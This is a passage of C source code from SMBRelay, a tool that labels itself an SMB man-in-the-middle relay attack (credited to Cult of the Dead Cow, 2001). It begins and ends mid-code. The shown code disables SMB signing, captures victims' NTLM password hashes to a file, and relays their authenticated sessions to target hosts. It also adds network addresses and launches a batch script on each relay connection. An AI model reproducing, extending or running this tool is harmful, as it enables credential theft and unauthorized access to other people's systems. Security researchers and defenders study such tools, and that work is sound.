printf("Disabling security signatures\n"); pdialectselectheader->bSecuritySignaturesEnabled = 0; } // copy negotiation response for relaying later memcpy(negotiateheaders, buff, sizeof(negotiateheaders)); break; case SMB_COM_SESSION_SETUP_ANDX: if (psmbheader->NTError == 0) { if (strlen(username)) bConnected = TRUE; if (psessionsetupandresponse->Action & 1) { printf("Connected as guest\n"); } if (/* psmbheader->bUnicodeStrings*/TRUE ) { WCHAR *ptr = (WCHAR *)(psessionsetupandresponse + 1); if ((DWORD)ptr % 2) ptr = (WCHAR *)((char *)ptr +1); printf("OS: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("Lanman type: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("Domain: \"%S\"\n", ptr); } else { char *ptr = (char *)(psessionsetupandresponse + 1); printf("OS: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; printf("Lanman type: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; printf("Domain: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; } if (strlen(username)) { memcpy(logonandconnectheaders, buff, sizeof(logonandconnectheaders)); UID = psmbheader->UserID; } } else { printf("Login failure code: 0x%08X\n", psmbheader->NTError ); } break; } } if (!bConnected) send(inconsock, buff, x, 0); puts(""); } closesocket(inconsock); FILE *file; file = fopen("hashes.txt", "a"); if (file != NULL) { fprintf(file, "%s %s\\%s:3:", inet_ntoa(sockaddr.sin_addr), hostname, username); for (x = 0; x < 8; x++) fprintf(file, "%02X", challenge[x]); fprintf(file, ":"); for (x = 0; x < 24; x++) fprintf(file, "%02X", caseinsensitivepassword[x]); fprintf(file, ":"); for (x = 0; x < 24; x++) fprintf(file, "%02X", casesensitivepassword[x]); fprintf(file, "\n"); fclose(file); printf("Password hash written to disk\n"); } if (bConnected) { DWORD d, NTEContext, NTEInstance; DWORD IP, Netmask; printf("Connected?\n"); IP = g_RelayStartIP; IP = ntohl(htonl(IP) + pnewconinfo->hostcount); sockaddr.sin_addr.s_addr = IP; if (g_bAddRelayIP) { Netmask = inet_addr("255.255.255.0"); d = AddIPAddress(IP, Netmask, g_RelayInterfaceNumber, &NTEContext, &NTEInstance); if (d != NO_ERROR) printf("Error %d adding relay IP address to interface %x: %s\n", d, g_RelayInterfaceNumber, StrError(d)); else printf("Relay IP address added to interface %x\n", g_RelayInterfaceNumber); } SOCKET relaylistensock = INVALID_SOCKET, relayconnectionsock = INVALID_SOCKET; BOOL bConnected = TRUE; while (bConnected && !g_bQuit) { relaylistensock = socket(AF_INET, SOCK_STREAM, 0); BOOL b = TRUE; if (setsockopt(relaylistensock , SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR) { printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() ); closesocket(relaylistensock ); goto exitrelay ; } sockaddr.sin_addr.s_addr = IP; sockaddr.sin_port = htons(139); sockaddr.sin_family = AF_INET; if (bind(relaylistensock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u binding to port %d at address %s\n", d, 139, inet_ntoa(sockaddr.sin_addr) ); closesocket(relaylistensock); goto exitrelay ; } else { printf("Bound to port %d on address %s relaying for host ", 139, inet_ntoa(sockaddr.sin_addr) ); printf("%s %s\n", hostname, inet_ntoa(sourcesockaddr.sin_addr) ); } if (listen(relaylistensock, SOMAXCONN) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u listening on socket\n", d ); closesocket(relaylistensock); goto exitrelay ; } bContinue = TRUE; char tmpbuff[5]; int socklen = sizeof(sockaddr); DWORD l = 1; ioctlsocket(relaylistensock, FIONBIO , &l); l = 1; ioctlsocket(outsock, FIONBIO , &l); do { if ((relayconnectionsock = accept(relaylistensock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET) { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { printf("Error %d receiving relay connection", err); closesocket(relaylistensock); goto exitrelay ; } else { x = recv(outsock, tmpbuff, 1, MSG_PEEK); if ((x == -1 && WSAGetLastError() != WSAEWOULDBLOCK) || x == 0) { closesocket(relaylistensock); goto exitrelay; } Sleep(50); } } } while (!g_bQuit && relayconnectionsock == INVALID_SOCKET); closesocket(relaylistensock); if (g_bQuit ) { if (relayconnectionsock != INVALID_SOCKET) closesocket(relayconnectionsock); goto exitrelay ; } printf("*** Relay connection for target %s received from %s:%d\n", hostname, inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port)); char hostaddrbuff[64]; char relayaddrbuff[64]; strcpy(relayaddrbuff, inet_ntoa(sockaddr.sin_addr) ); strcpy(hostaddrbuff, inet_ntoa(sourcesockaddr.sin_addr) ); if (_spawnlp(_P_NOWAIT, "spawn.bat", "spawn.bat", relayaddrbuff, hostaddrbuff, hostname, NULL) != -1) { printf("Spawned spawn.bat %s %s %s\n", relayaddrbuff, hostaddrbuff, hostname ); } // set non-blocking mode l = 1; ioctlsocket(relayconnectionsock, FIONBIO , &l); bContinue = TRUE; DWORD totallen; int datalen; BOOL bLogonDone = FALSE; BOOL bDialectSelected = FALSE; do { BOOL bDoSend = TRUE; datalen = recv(relayconnectionsock, buff, sizeof(NBSESSIONHEADER), 0); if (datalen < 1) { if (datalen == 0) { printf("Relay connection disconnected from target %s\n", hostname); bContinue = FALSE; } else { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { bContinue = FALSE; printf("Error %d receiving header from incoming relay connection for target %s\n", err, hostname); } } } else { totallen = ntohs(pnbsessionheader->Length) + 4; if (g_DebugLevel > 1) printf("Received request header, expecting %d bytes for target %s\n", totallen, hostname); while (bContinue && datalen < totallen && !g_bQuit) { x = recv(relayconnectionsock, buff + datalen, totallen - datalen, 0); if (x > 0) datalen += x; else { if (x == 0) { printf("Relay connection disconnected from target %s\n", hostname); bContinue = FALSE; } else { DWORD err = WSAGetLastError(); if (err == WSAEWOULDBLOCK) Sleep(5); else { bContinue = FALSE; printf("Error %d receiving data from incoming relay connection to target %s\n", err, hostname); } } } } } if (bContinue && datalen > 0) { if (g_DebugLevel > 0) printf("Relay request type: %s %d bytes, %d target %s\n", GetMessageType(pnbsessionheader->Type), datalen, ntohs(pnbsessionheader->Length) + 4, hostname); if (pnbsessionheader->Flags != 0) printf("Request Flags: 0x%04x target %s\n", pnbsessionheader->Flags, hostname ); switch (pnbsessionheader->Type) { case TYPE_SESSION_REQUEST: pnbsessionheader->Flags = 0; pnbsessionheader->Length = 0; pnbsessionheader->Type = TYPE_POSITIVE_SESSION_RESPONSE; send(relayconnectionsock, buff, sizeof(NBSESSIONHEADER), 0); printf(" *** Sent positive session response for relay target %s\n", hostname); bDoSend = FALSE; break; case TYPE_SESSION_MESSAGE: if (psmbheader->MagicVal != SMBMAGICVAL ) { if (g_DebugLevel > 0) printf("Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, datalen, hostname); } else { if (g_DebugLevel > 0) printf("%s\n", GetCommandType(psmbheader->Command)); switch (psmbheader->Command) { case SMB_COM_LOGOFF_ANDX: printf(" *** Logoff from target %s\n", hostname); bDoSend = FALSE; bContinue = FALSE; break; case SMB_COM_NEGOTIATE: if (!bDialectSelected) { char *ptr = (char *)(psmbheader + 1) + 3; int selecteddialect = 0; x = 0; bDialectSelected = TRUE; while (selecteddialect == 0 && ptr < buff + pnbsessionheader->Length + 3) { if (g_DebugLevel > 0) printf("%d - Dialect %d - %s\n", x, *ptr, ptr+1); x++; ptr += strlen(ptr+1) + 2; // locate dialect of choice if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0) selecteddialect = x; } memcpy(buff, negotiateheaders, sizeof(negotiateheaders)); pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN; pdialectselectheader->DialectIndex = selecteddialect; ptr = (char *)(pdialectselectheader + 1); // put encryption key here memcpy(ptr, "!!!!!!!!", 8); ptr += SMBENCRYPTIONKEYLEN ; if (/*psmbheader->bUnicodeStrings*/TRUE) { swprintf((WCHAR *)ptr, L"%S", SERVERDOMAINNAME); pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2; } else { strcpy(ptr, SERVERDOMAINNAME); pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1; } pnbsessionheader->Length = htons(sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount ); send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4 , 0); printf(" *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname ); bDoSend = FALSE; } break; case SMB_COM_SESSION_SETUP_ANDX: if ( !bLogonDone ) { bLogonDone = TRUE; WORD MID = psmbheader->MultiplexID; WORD AndXCommand = psessionsetupand->AndXCommand ; memcpy(buff, logonandconnectheaders, sizeof(logonandconnectheaders) ); psmbheader->MultiplexID = MID; psmbheader->UserID = UID ; pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandresponse->ByteCount + 2); // truncate it if necessary if (AndXCommand == SMB_NONE) { psessionsetupandresponse->AndXCommand = SMB_NONE; psessionsetupandresponse->AndXOffset = 0; } else { PTREE_CONNECT_ANDRESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset ); ptreeconnectand->Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN; ptreeconnectand->AndXCommand = SMB_NONE; ptreeconnectand->AndXOffset = 0; ptreeconnectand->AndXReserved = 0; ptreeconnectand->OptionalSupport = 0; char *ptr = (char *)(ptreeconnectand + 1); strcpy(ptr, "IPC"); ptreeconnectand->ByteCount = strlen(ptr) + 3; ptr += strlen(ptr) + 1; *ptr = 0; ptr++; *ptr = 0; pnbsessionheader->Length = htons(ntohs(pnbsessionheader->Length) + ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4); } x = send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4, 0); printf(" *** Sent SMB Session setup response for relay to %s\n", hostname); bDoSend = FALSE; } break; } } } } if (bContinue && bDoSend && datalen > 0) { totallen = 0; do { x = send(outsock, buff + totallen, datalen - totallen, 0); if (x == 0) { bContinue = FALSE; bConnected = FALSE; printf("Target %s disconnected durring send\n", hostname); } else if (x == -1) { DWORD err = WSAGetLastError(); if (err == WSAEWOULDBLOCK) Sleep(5); else { bContinue = FALSE; bConnected = FALSE; printf("Error %d sending data to target %s\n", err, hostname); } } else { totallen += x; } } while (bContinue && totallen < datalen && !g_bQuit); } if (bContinue && !g_bQuit) { datalen = recv(outsock, buff, sizeof(NBSESSIONHEADER), 0); if (datalen < 1) { if (datalen == 0) { printf("Target %s connection disconnected\n", hostname); bContinue = FALSE; bConnected = FALSE; } else { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { bContinue = FALSE; bConnected = FALSE; printf("Error %d receiving header from target %s\n", err, hostname); } } } else { totallen = ntohs(pnbsessionheader->Length) + 4; if (g_DebugLevel > 1) printf("Received response header, expecting %d bytes from target %s\n", totallen, hostname); while (bContinue && datalen < totallen && !g_bQuit) { x = recv(outsock, buff + datalen, totallen - datalen, 0); if (x > 0) datalen += x; else { if (x == 0) { printf("Target %s connection disconnected\n", hostname); bContinue = FALSE; bConnected = FALSE; } else { DWORD err = WSAGetLastError(); if (err == WSAEWOULDBLOCK) Sleep(5); else { bContinue = FALSE; bConnected = FALSE; printf("Error %d receiving data from target %s\n", err, hostname); } } } } } if (bContinue && datalen > 0 && !g_bQuit) { if (g_DebugLevel > 0) printf("Received %d byte response from target %s\n", datalen, hostname); if (pnbsessionheader->Flags != 0) printf("Response Flags: 0x%04x target %s\n", pnbsessionheader->Flags, hostname ); totallen = 0; do { x = send(relayconnectionsock, buff + totallen, datalen - totallen, 0); if (x == 0) { bContinue = FALSE; printf("Relay host disconnected durring send from target %s\n", hostname); } else if (x == -1) { DWORD err = WSAGetLastError(); if (err == WSAEWOULDBLOCK) Sleep(5); else { bContinue = FALSE; printf("Error %d sending data to relay host from target %s\n", err, hostname); } } else { totallen += x; } } while (bContinue && totallen < datalen && !g_bQuit); } } if (datalen < 1) Sleep(5); } while (bContinue && !g_bQuit); printf(" *** Relay disconnected from target %s\n", hostname); closesocket(relayconnectionsock); } exitrelay: if (g_bAddRelayIP) { DeleteIPAddress(NTEContext); printf("Deleted relay IP address %s for target %s\n", inet_ntoa( sockaddr.sin_addr), hostname); } } closesocket(outsock); printf("*** Target %s Disconnected\n", hostname); // remove host from list ConnectedList[hostnumber] = 0; // clean up end of list while (ConnectedSize > 0 && ConnectedList[ConnectedSize] == 0) ConnectedSize--; } void SignalHandler(int sig) { printf("Termination requested...\n"); g_bQuit = TRUE; } void Usage( ) { puts("Usage: smbrelay [options]"); puts(" Options:"); puts(" /D num - Set debug level, current valid levels: 0 (none), 1, 2"); puts(" Defaults to 0"); puts(" /E - Enumerates interfaces and their indexes"); puts(" /IL num - Set the interface index to use when adding local IP addresses"); puts(" /IR num - Set the interface index to use when adding relay IP addresses"); puts(" Defaults to 1. Use /E to display the adapter indexes"); puts(" /L[+] IP - Set the local IP to listen on for incoming NetBIOS connections"); puts(" Use + to first add the IP address to the NIC"); puts(" Defaults to primary host IP"); puts(" /R[-] IP - Set the starting relay IP address to use"); puts(" Use - to NOT first add each relay IP address to the NIC"); puts(" Defaults to 192.1.1.1"); puts(" /S name - Set the source machine name"); puts(" Defaults to CDC4EVER"); } int main(int argc, char* argv[]) { SOCKET tcpsock, inconsock; WSADATA wsadata; BOOL b; DWORD d, NTEContext, NTEInstance; LPHOSTENT phostent; SOCKADDR_IN sockaddr; int x; puts("SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack"); puts(" Copyright 2001: Sir Dystic, Cult of the Dead Cow"); puts(" Send complaints, ideas and donations to sirdystic@cultdeadcow.com"); for (x = 1; x < argc; x++) { if (argv[x][0] == '/') { if (stricmp(argv[x], "/IR") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /IR\n"); Usage(); return 0; } x++; g_RelayInterfaceNumber = strtoul(argv[x], NULL, 16); } else if (stricmp(argv[x], "/IL") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /IL\n"); Usage(); return 0; } x++; g_LocalInterfaceNumber = strtoul(argv[x], NULL, 16); } else if (stricmp(argv[x], "/D") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /D\n"); Usage(); return 0; } x++; g_DebugLevel = atoi(argv[x]); } else if (stricmp(argv[x], "/E") == 0) { DWORD e, NumOfInterfaces = 0; e = GetNumberOfInterfaces(&NumOfInterfaces); if (e != NO_ERROR) { printf("Unable to retrieve number of interfaces: Error %d - %s\n", e, StrError(e)); } else { DWORD buffsize = sizeof(MIB_IFROW) * (NumOfInterfaces + 5); PMIB_IFTABLE piftable = (PMIB_IFTABLE)malloc(buffsize); e = GetIfTable(piftable, &buffsize, FALSE); if (e != ERROR_SUCCESS) { printf("Unable to get interface table: Error %d - %s\n", e, StrError(e)); } else { for (e = 0; e < piftable->dwNumEntries; e++) { printf("[%x] %s - %s\n", piftable->table[e].dwIndex, GetInterfaceType(piftable->table[e].dwType), piftable->table[e].bDescr ); } } /// free(piftable); } return 0; } else if (stricmp(argv[x], "/L") == 0 || stricmp(argv[x], "/L+") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /L\n"); Usage(); return 0; } if (argv[x][2] == '+') g_bAddLocalIP = TRUE; x++; g_LocalIP = inet_addr(argv[x]); if (g_LocalIP == INADDR_NONE) { fprintf(stdout, "Bad IP: \"%s\"\n", argv[x]); Usage(); return 0; } } else if (stricmp(argv[x], "/R") == 0 || stricmp(argv[x], "/R-") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /R\n"); Usage(); return 0; } if (argv[x][2] == '-') g_bAddRelayIP = FALSE; x++; g_RelayStartIP = inet_addr(argv[x]); if (g_RelayStartIP == INADDR_NONE) { fprintf(stdout, "Bad IP: \"%s\"\n", argv[x]); Usage(); return 0; } } else if (stricmp(argv[x], "/S") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /S\n"); Usage(); return 0; } x++; strncpy(g_SourceName, argv[x], 15); g_SourceName[15] = 0; strupr(g_SourceName); } else if (stricmp(argv[x], "/?") == 0 || stricmp(argv[x], "/HELP") == 0) { Usage(); return 0; } else { fprintf(stdout, "Bad option: \"%s\"\n", argv[x] ); Usage(); return 0; } } } memset(&wsadata, 0, sizeof(wsadata)); WSAStartup(MAKEWORD(1, 1), &wsadata); if (g_bAddLocalIP) { if (g_LocalInterfaceNumber == 0) { GetBestInterface(g_LocalIP, &g_LocalInterfaceNumber); } MIB_IFROW ifrow; memset(&ifrow, 0, sizeof(ifrow)); ifrow.dwIndex = g_LocalInterfaceNumber; d = GetIfEntry(&ifrow); if (d == NO_ERROR) { printf("Using local adapter index %x: %s\n", g_LocalInterfaceNumber, ifrow.bDescr); } else { printf("Local adapter index %x may be invalid! Error %d: %s\n", g_LocalInterfaceNumber, d, StrError(d)); } } if (g_bAddRelayIP) { MIB_IFROW ifrow; memset(&ifrow, 0, sizeof(ifrow)); ifrow.dwIndex = g_RelayInterfaceNumber; d = GetIfEntry(&ifrow); if (d == NO_ERROR) { printf("Using relay adapter index %x: %s\n", g_RelayInterfaceNumber, ifrow.bDescr); } else { printf("Relay adapter index %x may be invalid! Error %d: %s\n", g_RelayInterfaceNumber, d, StrError(d)); } } tcpsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (tcpsock == INVALID_SOCKET) { printf("Error %d creating socket\n", GETSOCKETERROR() ); return 0; } b = TRUE; if (setsockopt(tcpsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR) { printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() ); closesocket(tcpsock); return 0; } if (g_LocalIP == INADDR_NONE) { char buff[64]; if (gethostname((char *)buff, sizeof(buff) ) == SOCKET_ERROR) { printf("Error %d getting local host name\n", GETSOCKETERROR() ); closesocket(tcpsock); return 0; } phostent = gethostbyname((char *)buff); if (phostent == NULL) { printf("Error %d getting local address for name %s\n", GETSOCKETERROR(), buff ); closesocket(tcpsock); return 0; } g_LocalIP = ((struct in_addr *) phostent->h_addr)->s_addr; } sockaddr.sin_addr.s_addr = g_LocalIP; sockaddr.sin_port = htons(g_LocalPort); sockaddr.sin_family = AF_INET; if (g_bAddLocalIP) { DWORD Netmask = inet_addr("255.255.255.0"); d = AddIPAddress(g_LocalIP, Netmask, g_LocalInterfaceNumber, &NTEContext, &NTEInstance); if (d != NO_ERROR) printf("Error %d adding IP address to interface %x: %s\n", d, g_LocalInterfaceNumber, StrError(d)); else printf("Local IP address added to interface %x\n", g_LocalInterfaceNumber); } if (bind(tcpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u binding to port %d at address %s\n", d, g_LocalPort, inet_ntoa(sockaddr.sin_addr) ); closesocket(tcpsock); return 0; } else { printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa(sockaddr.sin_addr) ); } if (listen(tcpsock, SOMAXCONN) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u listening on socket\n", d ); closesocket(tcpsock); return 0; } signal(SIGBREAK, SignalHandler); signal(SIGINT, SignalHandler); signal(SIGABRT, SignalHandler); signal(SIGFPE, SignalHandler); signal(SIGILL, SignalHandler); signal(SIGSEGV, SignalHandler); signal(SIGTERM, SignalHandler); DWORD l = 1; ioctlsocket(tcpsock, FIONBIO , &l); do { NEWCONINFO newconinfo; int socklen = sizeof(sockaddr); do { if ((inconsock = accept(tcpsock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET) { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { printf("Error %d receiving incoming NetBIOS connection\n", err); g_bQuit = FALSE; } else { Sleep(5); } } } while (!g_bQuit && inconsock == INVALID_SOCKET ); if (!g_bQuit ) { BOOL bDup = FALSE; DWORD d; for (d = 0; d < ConnectedSize && !bDup; d++) { if (ConnectedList[d] == sockaddr.sin_addr.s_addr) bDup = TRUE; } if (bDup) { printf("Connection rejected: %s already connected\n", inet_ntoa(sockaddr.sin_addr)); closesocket(inconsock); } else { printf("Connection from %s:%d\n", inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port)); ConnectedList[ConnectedSize] = sockaddr.sin_addr.s_addr; newconinfo.hostcount = ConnectedSize++; newconinfo.connectionsock = inconsock; memcpy(&newconinfo.sourcesockaddr, &sockaddr, sizeof(SOCKADDR_IN)); _beginthread(mainconnectionhandler, 0, &newconinfo); Sleep(50); } } } while (!g_bQuit ); closesocket(tcpsock); if (g_bAddLocalIP) { DeleteIPAddress(NTEContext); printf("Deleted incoming IP address\n"); } Sleep(400); WSACleanup(); printf("Exiting main\n"); return 0; } const char *GetInterfaceType(DWORD Type) { static char retbuff[32]; const char *ret = retbuff; switch (Type) { default: sprintf(retbuff, "Unknown: %d", Type); break; case IF_TYPE_OTHER: ret = "OTHER"; break; case IF_TYPE_REGULAR_1822: ret = "REGULAR 1822"; break; case IF_TYPE_HDH_1822: ret = "HDH 1822"; break; case IF_TYPE_DDN_X25: ret = "DDN X25"; break; case IF_TYPE_RFC877_X25: ret = "RFC877 X25"; break; case IF_TYPE_ETHERNET_CSMACD: ret = "ETHERNET CSMACD"; break; case IF_TYPE_IS088023_CSMACD: ret = "IS088023 CSMACD"; break; case IF_TYPE_ISO88024_TOKENBUS: ret = "ISO88024 TOKENBUS"; break; case IF_TYPE_ISO88025_TOKENRING: ret = "ISO88025_TOKENRING"; break; case IF_TYPE_ISO88026_MAN: ret = "ISO88026_MAN"; break; case IF_TYPE_STARLAN: ret = "STARLAN"; break; case IF_TYPE_PROTEON_10MBIT: ret = "PROTEON_10MBIT"; break; case IF_TYPE_PROTEON_80MBIT: ret = "PROTEON_80MBIT"; break; case IF_TYPE_HYPERCHANNEL: ret = "HYPERCHANNEL"; break; case IF_TYPE_FDDI: ret = "FDDI"; break; case IF_TYPE_LAP_B: ret = "LAP_B"; break; case IF_TYPE_SDLC: ret = "SDLC"; break; case IF_TYPE_DS1: ret = "DS1"; break; case IF_TYPE_E1: ret = "E1"; break; case IF_TYPE_BASIC_ISDN: ret = "BASIC_ISDN"; break; case IF_TYPE_PRIMARY_ISDN: ret = "PRIMARY_ISDN"; break; case IF_TYPE_PROP_POINT2POINT_SERIAL: ret = "PROP POINT2POINT SERIAL"; break; case IF_TYPE_PPP: ret = "PPP"; break; case IF_TYPE_SOFTWARE_LOOPBACK: ret = "SOFTWARE LOOPBACK"; break; case IF_TYPE_EON: ret = "EON - CLNP over IP"; break; case IF_TYPE_ETHERNET_3MBIT: ret = "ETHERNET 3MBIT"; break; case IF_TYPE_NSIP: ret = "NSIP - XNS over IP"; break; case IF_TYPE_SLIP: ret = "SLIP"; break; case IF_TYPE_ULTRA: ret = "ULTRA"; break; case IF_TYPE_DS3: ret = "DS3-MIB"; break; case IF_TYPE_SIP: ret = "SIP - SMDS, coffee"; break; case IF_TYPE_FRAMERELAY: ret = "FRAMERELAY"; break; case IF_TYPE_RS232: ret = "RS232"; break; case IF_TYPE_PARA: ret = "Parallel port"; break; case IF_TYPE_ARCNET: ret = "ARCNET"; break; case IF_TYPE_ARCNET_PLUS: ret = "ARCNET_PLUS"; break; case IF_TYPE_ATM: ret = "ATM"; break; case IF_TYPE_MIO_X25: ret = "MIO_X25"; break; case IF_TYPE_SONET: ret = "SONET or SDH"; break; case IF_TYPE_X25_PLE: ret = "X25_PLE"; break; case IF_TYPE_ISO88022_LLC: ret = "ISO88022_LLC"; break; case IF_TYPE_LOCALTALK: ret = "LOCALTALK"; break; case IF_TYPE_SMDS_DXI: ret = "SMDS_DXI"; break; case IF_TYPE_FRAMERELAY_SERVICE: ret = "FRAMERELAY_SERVICE"; break; case IF_TYPE_V35: ret = "V35"; break; case IF_TYPE_HSSI: ret = "HSSI"; break; case IF_TYPE_HIPPI: ret = "HIPPI"; break; case IF_TYPE_MODEM: ret = "MODEM"; break; case IF_TYPE_AAL5: ret = "AAL5 over ATM"; break; case IF_TYPE_SONET_PATH: ret = "SONET_PATH"; break; case IF_TYPE_SONET_VT: ret = "SONET_VT"; break; case IF_TYPE_SMDS_ICIP: ret = "SMDS InterCarrier Interface"; break; case IF_TYPE_PROP_VIRTUAL: ret = "Proprietary virtual/internal"; break; case IF_TYPE_PROP_MULTIPLEXOR: ret = "Proprietary multiplexing"; break; case IF_TYPE_IEEE80212: ret = "IEEE80212 - 100BaseVG"; break; case IF_TYPE_FIBRECHANNEL: ret = "FIBRECHANNEL"; break; case IF_TYPE_HIPPIINTERFACE: ret = "HIPPIINTERFACE"; break; case IF_TYPE_AFLANE_8023: ret = "ATM Emulated LAN for 802.3"; break; case IF_TYPE_AFLANE_8025: ret = "ATM Emulated LAN for 802.5"; break; case IF_TYPE_CCTEMUL: ret = "CCTEMUL - ATM Emulated circuit"; break; case IF_TYPE_FASTETHER: ret = "Fast Ethernet (100BaseT)"; break; case IF_TYPE_ISDN: ret = "ISDN and X.25"; break; case IF_TYPE_V11: ret = "CCITT V.11/X.21"; break; case IF_TYPE_V36: ret = "CCITT V.36"; break; case IF_TYPE_G703_64K: ret = "CCITT G703 at 64Kbps"; break; case IF_TYPE_G703_2MB: ret = "G703_2MB"; break; case IF_TYPE_QLLC: ret = "SNA QLLC"; break; case IF_TYPE_FASTETHER_FX: ret = "Fast Ethernet (100BaseFX)"; break; case IF_TYPE_CHANNEL: ret = "CHANNEL"; break; case IF_TYPE_IEEE80211: ret = "IEEE80211 - Radio spread spectrum"; break; case IF_TYPE_IBM370PARCHAN: ret = "IBM370PARCHAN - IBM System 360/370 OEMI Channel"; break; case IF_TYPE_ESCON: ret = "IBM Enterprise Systems Connection"; break; case IF_TYPE_DLSW: ret = "Data Link Switching"; break; case IF_TYPE_ISDN_S: ret = "ISDN S/T interface"; break; case IF_TYPE_ISDN_U: ret = "ISDN U interface"; break; case IF_TYPE_LAP_D: ret = "Link Access Protocol D"; break; case IF_TYPE_IPSWITCH: ret = "IP Switching Objects"; break; case IF_TYPE_RSRB: ret = "Remote Source Route Bridging"; break; case IF_TYPE_ATM_LOGICAL: ret = "ATM Logical Port"; break; case IF_TYPE_DS0: ret = "Digital Signal Level 0"; break; case IF_TYPE_DS0_BUNDLE: ret = "Group of ds0s on the same ds1"; break; case IF_TYPE_BSC: ret = "Bisynchronous Protocol"; break; case IF_TYPE_ASYNC: ret = "Asynchronous Protocol"; break; case IF_TYPE_CNR: ret = "Combat Net Radio"; break; case IF_TYPE_ISO88025R_DTR: ret = "ISO 802.5r DTR"; break; case IF_TYPE_EPLRS: ret = "Ext Pos Loc Report Sys"; break; case IF_TYPE_ARAP: ret = "Appletalk Remote Access Protocol"; break; case IF_TYPE_PROP_CNLS: ret = "Proprietary Connectionless Proto"; break; case IF_TYPE_HOSTPAD: ret = "CCITT-ITU X.29 PAD Protocol"; break; case IF_TYPE_TERMPAD: ret = "CCITT-ITU X.3 PAD Facility"; break; case IF_TYPE_FRAMERELAY_MPI: ret = "Multiproto Interconnect over FR"; break; case IF_TYPE_X213: ret = "CCITT-ITU X213"; break; case IF_TYPE_ADSL: ret = "Asymmetric Digital Subscrbr Loop"; break; case IF_TYPE_RADSL: ret = "Rate-Adapt Digital Subscrbr Loop"; break; case IF_TYPE_SDSL: ret = "Symmetric Digital Subscriber Loop"; break; case IF_TYPE_VDSL: ret = "Very H-Speed Digital Subscrb Loop"; break; case IF_TYPE_ISO88025_CRFPRINT: ret = "ISO 802.5 CRFP"; break; case IF_TYPE_MYRINET: ret = "Myricom Myrinet"; break; case IF_TYPE_VOICE_EM: ret = "Voice recEive and transMit"; break; case IF_TYPE_VOICE_FXO: ret = "Voice Foreign Exchange Office"; break; case IF_TYPE_VOICE_FXS: ret = "Voice Foreign Exchange Station"; break; case IF_TYPE_VOICE_ENCAP: ret = "Voice encapsulation"; break; case IF_TYPE_VOICE_OVERIP: ret = "Voice over IP encapsulation"; break; case IF_TYPE_ATM_DXI: ret = "ATM DXI"; break; case IF_TYPE_ATM_FUNI: ret = "ATM FUNI"; break; case IF_TYPE_ATM_IMA: ret = "ATM IMA"; break; case IF_TYPE_PPPMULTILINKBUNDLE: ret = "PPP Multilink Bundle"; break; case IF_TYPE_IPOVER_CDLC: ret = "IBM ipOverCdlc"; break; case IF_TYPE_IPOVER_CLAW: ret = "IBM Common Link Access to Workstn"; break; case IF_TYPE_STACKTOSTACK: ret = "IBM stackToStack"; break; case IF_TYPE_VIRTUALIPADDRESS: ret = "IBM VIPA"; break; case IF_TYPE_MPC: ret = "IBM multi-proto channel support"; break; case IF_TYPE_IPOVER_ATM: ret = "IBM ipOverAtm"; break; case IF_TYPE_ISO88025_FIBER: ret = "ISO 802.5j Fiber Token Ring"; break; case IF_TYPE_TDLC: ret = "IBM twinaxial data link control"; break; case IF_TYPE_GIGABITETHERNET: ret = "GIGABITETHERNET"; break; case IF_TYPE_HDLC: ret = "HDLC"; break; case IF_TYPE_LAP_F: ret = "LAP_F"; break; case IF_TYPE_V37: ret = "V37"; break; case IF_TYPE_X25_MLP: ret = "X.25 Multi-Link Protocol"; break; case IF_TYPE_X25_HUNTGROUP: ret = "X.25 Hunt Group"; break; case IF_TYPE_TRANSPHDLC: ret = "TRANSPHDLC"; break; case IF_TYPE_INTERLEAVE: ret = "Interleave channel"; break; case IF_TYPE_FAST: ret = "Fast channel"; break; case 